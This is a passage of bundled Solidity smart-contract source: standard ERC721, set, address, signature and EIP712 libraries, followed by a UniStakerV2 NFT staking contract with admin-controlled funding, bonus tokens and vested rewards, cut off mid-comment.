{tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/Address.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !Address.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.6.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* solhint-disable max-line-length */ /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private constant _TYPE_HASH = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { _HASHED_NAME = keccak256(bytes(name)); _HASHED_VERSION = keccak256(bytes(version)); } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash()); } function _buildDomainSeparator( bytes32 typeHash, bytes32 name, bytes32 version ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, name, version, _getChainId(), address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } /** * @dev The hash of the name parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712NameHash() internal view virtual returns (bytes32) { return _HASHED_NAME; } /** * @dev The hash of the version parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712VersionHash() internal view virtual returns (bytes32) { return _HASHED_VERSION; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {ECDSA} from "@openzeppelin/contracts/cryptography/ECDSA.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; interface IERC1271 { function isValidSignature(bytes32 _messageHash, bytes memory _signature) external view returns (bytes4 magicValue); } library SignatureChecker { function isValidSignature( address signer, bytes32 hash, bytes memory signature ) internal view returns (bool) { if (Address.isContract(signer)) { bytes4 selector = IERC1271.isValidSignature.selector; (bool success, bytes memory returndata) = signer.staticcall(abi.encodeWithSelector(selector, hash, signature)); return success && abi.decode(returndata, (bytes4)) == selector; } else { return ECDSA.recover(hash, signature) == signer; } } } /// @title ERC1271 /// @notice Module for ERC1271 compatibility abstract contract ERC1271 is IERC1271 { // Valid magic value bytes4(keccak256("isValidSignature(bytes32,bytes)") bytes4 internal constant VALID_SIG = IERC1271.isValidSignature.selector; // Invalid magic value bytes4 internal constant INVALID_SIG = bytes4(0); modifier onlyValidSignature(bytes32 permissionHash, bytes memory signature) { require( isValidSignature(permissionHash, signature) == VALID_SIG, "ERC1271: Invalid signature" ); _; } function _getOwner() internal view virtual returns (address owner); function isValidSignature(bytes32 permissionHash, bytes memory signature) public view override returns (bytes4) { return SignatureChecker.isValidSignature(_getOwner(), permissionHash, signature) ? VALID_SIG : INVALID_SIG; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; /// @title OwnableByERC721 /// @notice Use ERC721 ownership for access control contract OwnableByERC721 { address private _nftAddress; modifier onlyOwner() { require(owner() == msg.sender, "OwnableByERC721: caller is not the owner"); _; } function _setNFT(address nftAddress) internal { _nftAddress = nftAddress; } function nft() public view virtual returns (address nftAddress) { return _nftAddress; } function owner() public view virtual returns (address ownerAddress) { return IERC721(_nftAddress).ownerOf(uint256(address(this))); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {IFactory} from "../factory/IFactory.sol"; import {IInstanceRegistry} from "../factory/InstanceRegistry.sol"; import {IUniversalVaultV2} from "../methodNFT/MethodVaultV2.sol"; import {MethodNFTFactory} from "../methodNFT/MethodNFTFactory.sol"; import {IRewardPool} from "./RewardPool.sol"; import {Powered} from "./Powered.sol"; import {IERC2917} from "./IERC2917.sol"; import {ProxyFactory} from "../factory/ProxyFactory.sol"; interface IRageQuit { function rageQuit() external; } interface IUniStakerV2 is IRageQuit { /* admin events */ event UniStakerV2Created(address rewardPool, address powerSwitch); event UniStakerV2Funded(address token, uint256 amount); event BonusTokenRegistered(address token); event BonusTokenRemoved(address token); event VaultFactoryRegistered(address factory); event VaultFactoryRemoved(address factory); event AdminshipTransferred(address indexed previousAdmin, address indexed newAdmin); /* user events */ event Staked(address vault, address token, uint256 tokenId); event Unstaked(address vault, address token, uint256 tokenId); event RageQuit(address vault); event RewardClaimed(address vaultFactory, address recipient, address token, uint256 amount); event VestedRewardClaimed(address recipient, address token, uint amount); /* data types */ struct VaultData { // token address to total token stake mapping mapping(address => uint) tokenStake; EnumerableSet.AddressSet tokens; } struct LMRewardData { uint256 amount; uint256 duration; uint256 startedAt; address rewardCalcInstance; EnumerableSet.AddressSet bonusTokens; mapping(address => uint) bonusTokenAmounts; } struct LMRewardVestingData { uint amount; uint startedAt; } /* getter functions */ function getBonusTokenSetLength() external view returns (uint256 length); function getBonusTokenAtIndex(uint256 index) external view returns (address bonusToken); function getVaultFactorySetLength() external view returns (uint256 length); function getVaultFactoryAtIndex(uint256 index) external view returns (address factory); function getNumVaults() external view returns (uint256 num); function getVaultAt(uint256 index) external view returns (address vault); function getNumTokensStaked() external view returns (uint256 num); function getTokenStakedAt(uint256 index) external view returns (address token); function getNumTokensStakedInVault(address vault) external view returns (uint256 num); function getVaultTokenAtIndex(address vault, uint256 index) external view returns (address vaultToken); function getVaultTokenStake(address vault, address token) external view returns (uint256 tokenStake); function getLMRewardData(address token) external view returns (uint amount, uint duration, uint startedAt, address rewardCalcInstance); function getLMRewardBonusTokensLength(address token) external view returns (uint length); function getLMRewardBonusTokenAt(address token, uint index) external view returns (address bonusToken, uint bonusTokenAmount); function getNumVestingLMTokenRewards(address user) external view returns (uint num); function getVestingLMTokenAt(address user, uint index) external view returns (address token); function getNumVests(address user, address token) external view returns (uint num); function getNumRewardCalcTemplates() external view returns (uint num); function getLMRewardVestingData(address user, address token, uint index) external view returns (uint amount, uint startedAt); function isValidAddress(address target) external view returns (bool validity); function isValidVault(address vault, address factory) external view returns (bool validity); /* user functions */ function stakeERC721( address vault, address vaultFactory, address token, uint256 tokenId, bytes calldata permission ) external; function unstakeERC721AndClaimReward( address vault, address vaultFactory, address recipient, address token, uint256 tokenId, bool claimBonusReward, bytes calldata permission ) external; function claimVestedReward() external; function claimVestedReward(address token) external; } /// @title UniStakerV2 /// @notice Reward distribution contract /// Access Control /// - Power controller: /// Can power off / shutdown the UniStakerV2 /// Can withdraw rewards from reward pool once shutdown /// - Owner: /// Is unable to operate on user funds due to UniversalVault /// Is unable to operate on reward pool funds when reward pool is offline / shutdown /// - UniStakerV2 admin: /// Can add funds to the UniStakerV2, register bonus tokens, and whitelist new vault factories /// Is a subset of owner permissions /// - User: /// Can stake / unstake / ragequit / claim airdrop / claim vested rewards /// UniStakerV2 State Machine /// - Online: /// UniStakerV2 is operating normally, all functions are enabled /// - Offline: /// UniStakerV2 is temporarely disabled for maintenance /// User staking and unstaking is disabled, ragequit remains enabled /// Users can delete their stake through rageQuit() but forego their pending reward /// Should only be used when downtime required for an upgrade /// - Shutdown: /// UniStakerV2 is permanently disabled /// All functions are disabled with the exception of ragequit /// Users can delete their stake through rageQuit() /// Power controller can withdraw from the reward pool /// Should only be used if Owner role is compromised contract UniStakerV2 is IUniStakerV2, Powered { using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; /* constants */ string public constant PLATINUM = "PLATINUM"; string public constant GOLD = "GOLD"; string public constant MINT = "MINT"; string public constant BLACK = "BLACK"; uint public PLATINUM_LM_REWARD_MULTIPLIER_NUM = 5; uint public PLATINUM_LM_REWARD_MULTIPLIER_DENOM = 2; uint public GOLD_LM_REWARD_MULTIPLIER_NUM = 2; uint public GOLD_LM_REWARD_MULTIPLIER_DENOM = 1; uint public MINT_LM_REWARD_MULTIPLIER_NUM = 3; uint public MINT_LM_REWARD_MULTIPLIER_DENOM = 2; uint public BLACK_LM_REWARD_MULTIPLIER_NUM = 1; uint public BLACK_LM_REWARD_MULTIPLIER_DENOM = 1; uint public LM_REWARD_VESTING_PERIOD = 7776000; // 3 months uint public LM_REWARD_VESTING_PORTION_NUM = 1; uint public LM_REWARD_VESTING_PORTION_DENOM = 2; // An upper bound on the number of active tokens staked per vault is required to prevent // calls to rageQuit() from reverting. // With 30 tokens staked in a vault, ragequit costs 432811 gas which is conservatively lower // than the hardcoded limit of 500k gas on the vault. // This limit is configurable and could be increased in a future deployment. // Ultimately, to avoid a need for fixed upper bounds, the EVM would need to provide // an error code that allows for reliably catching out-of-gas errors on remote calls. uint256 public MAX_TOKENS_STAKED_PER_VAULT = 30; uint256 public MAX_BONUS_TOKENS = 50; /* storage */ address public admin; address public rewardToken; address public rewardPool; EnumerableSet.AddressSet private _vaultSet; mapping(address => VaultData) private _vaults; EnumerableSet.AddressSet private _bonusTokenSet; EnumerableSet.AddressSet private _vaultFactorySet; EnumerableSet.AddressSet private _allStakedTokens; mapping(address => uint256) public stakedTokenTotal; mapping(address => LMRewardData) private lmRewards; // user to token to earned reward mapping mapping(address => mapping(address => uint)) public earnedLMRewards; // user to token to vesting data mapping mapping(address => mapping(address => LMRewardVestingData[])) public vestingLMRewards; // user to vesting lm token rewards set mapping(address => EnumerableSet.AddressSet) private vestingLMTokenRewards; // erc2917 template names string[] public rewardCalcTemplateNames; // erc2917 template names to erc 2917 templates mapping(string => address) public rewardCalcTemplates; string public activeRewardCalcTemplate; event RewardCalcTemplateAdded(string indexed name, address indexed template); event RewardCalcTemplateActive(string indexed name, address indexed template); /* initializer */ /// @notice Initizalize UniStakerV2 /// access control: only proxy constructor /// state machine: can only be called once /// state scope: set initialization variables /// token transfer: none /// @param adminAddress address The admin address /// @param rewardPoolFactory address The factory to use for deploying the RewardPool /// @param powerSwitchFactory address The factory to use for deploying the PowerSwitch /// @param rewardTokenAddress address The address of the reward token for this UniStakerV2 constructor( address adminAddress, address rewardPoolFactory, address powerSwitchFactory, address rewardTokenAddress ) { // deploy power switch address powerSwitch = IFactory(powerSwitchFactory).create(abi.encode(adminAddress)); // deploy reward pool rewardPool = IFactory(rewardPoolFactory).create(abi.encode(powerSwitch)); // set internal config admin = adminAddress; rewardToken = rewardTokenAddress; Powered._setPowerSwitch(powerSwitch); // emit event emit UniStakerV2Created(rewardPool, powerSwitch); } /* admin functions */ function _admin() private view { require(msg.sender == admin, "not allowed"); } /** * @dev Leaves the contract without admin. It will not be possible to call * `admin` functions anymore. Can only be called by the current admin. * * NOTE: Renouncing adminship will leave the contract without an admin, * thereby removing any functionality that is only available to the admin. */ function renounceAdminship() public { _admin(); emit AdminshipTransferred(admin, address(0)); admin = address(0); } /** * @dev Transfers adminship of the contract to a new account (`newAdmin`). * Can only be called by the current admin. */ function transferAdminship(address newAdmin) public { _admin(); require(newAdmin != address(0), "new admin can't the zero address"); emit AdminshipTransferred(admin, newAdmin); admin = newAdmin; } /// @notice Add funds to UniStakerV2 /// access control: only admin /// state machine: /// - can be called multiple times /// - only online /// state scope: /// - none /// token transfer: transfer staking tokens from msg.sender to reward pool /// @param amount uint256 Amount of reward tokens to deposit function fund(address token, uint256 amount) external { _admin(); require(_bonusTokenSet.contains(token) || token == rewardToken, "cannot fund with unrecognized token"); // transfer reward tokens to reward pool TransferHelper.safeTransferFrom( token, msg.sender, rewardPool, amount ); // emit event emit UniStakerV2Funded(token, amount); } /// @notice Rescue tokens from RewardPool /// @dev use this function to rescue tokens from RewardPool contract without distributing to stakers or triggering emergency shutdown /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: none /// token transfer: transfer requested token from RewardPool to recipient /// @param token address The address of the token to rescue /// @param recipient address The address of the recipient /// @param amount uint256 The amount of tokens to rescue function rescueTokensFromRewardPool( address token, address recipient, uint256 amount ) external { _admin(); // verify recipient require(isValidAddress(recipient), "invalid recipient"); // transfer tokens to recipient IRewardPool(rewardPool).sendERC20(token, recipient, amount); } /// @notice Add vault factory to whitelist /// @dev use this function to enable stakes to vaults coming from the specified factory contract /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - append to _vaultFactorySet /// token transfer: none /// @param factory address The address of the vault factory function registerVaultFactory(address factory) external { _admin(); // add factory to set require(_vaultFactorySet.add(factory), "UniStakerV2: vault factory already registered"); // emit event emit VaultFactoryRegistered(factory); } /// @notice Remove vault factory from whitelist /// @dev use this function to disable new stakes to vaults coming from the specified factory contract. /// note: vaults with existing stakes from this factory are sill able to unstake /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - remove from _vaultFactorySet /// token transfer: none /// @param factory address The address of the vault factory function removeVaultFactory(address factory) external { _admin(); // remove factory from set require(_vaultFactorySet.remove(factory), "UniStakerV2: vault factory not registered"); // emit event emit VaultFactoryRemoved(factory); } /// @notice Register bonus token for distribution /// @dev use this function to enable distribution of any ERC20 held by the RewardPool contract /// access control: only admin /// state machine: /// - can be called multiple times /// - only online /// state scope: /// - append to _bonusTokenSet /// token transfer: none /// @param bonusToken address The address of the bonus token function registerBonusToken(address bonusToken) external { _admin(); // verify valid bonus token require(isValidAddress(bonusToken), "invalid bonus token address or is already present"); // verify bonus token count require(_bonusTokenSet.length() < MAX_BONUS_TOKENS, "UniStakerV2: max bonus tokens reached "); // add token to set _bonusTokenSet.add(bonusToken); // emit event emit BonusTokenRegistered(bonusToken); } /// @notice Remove bonus token /// @dev use this function to disable distribution of a token held by the 